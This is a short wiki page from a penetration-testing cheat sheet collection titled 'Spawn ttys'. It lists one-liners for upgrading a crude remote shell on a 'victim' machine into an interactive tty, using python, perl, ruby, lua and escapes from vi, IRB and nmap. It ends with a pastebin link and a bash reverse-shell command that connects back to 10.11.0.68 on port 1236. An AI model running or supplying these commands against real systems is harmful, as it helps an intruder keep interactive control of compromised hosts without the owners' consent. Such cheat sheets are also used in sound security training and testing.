Spawn ttys

From Grayhat cheatsheets
Jump to navigationJump to search

Very often if we get a remote shell, it is not a very good quality one, not fully respondent, hanges, closes, etc. For that we can try to spawn a tty shell using some tools that may be installed in the victim already. Next are several examples, most of these will be useful in linux, due to their reliance on programming or scripting language interpreters:

python -c 'import pty; pty.spawn("/bin/bash")' The former also works on python3, in case python 2 is not installed but 3 is. It seems that if there is no python2, the result with python3 can be better if we do "export TERM=linux" right after getting the tty.

 echo os.system('/bin/bash')

 /bin/sh -i

 perl -e 'exec "/bin/sh";'

 perl: exec "/bin/sh";

 ruby: exec "/bin/sh"

 lua: os.execute('/bin/sh')

(From within IRB) exec "/bin/sh"

(From within vi) :!bash

(From within vi) :set shell=/bin/bash:shell

(From within nmap) !sh

Connect back shell, has proven very useful: https://pastebin.com/8hy0cpTQ

bash -i >& /dev/tcp/10.11.0.68/1236 0>&1 &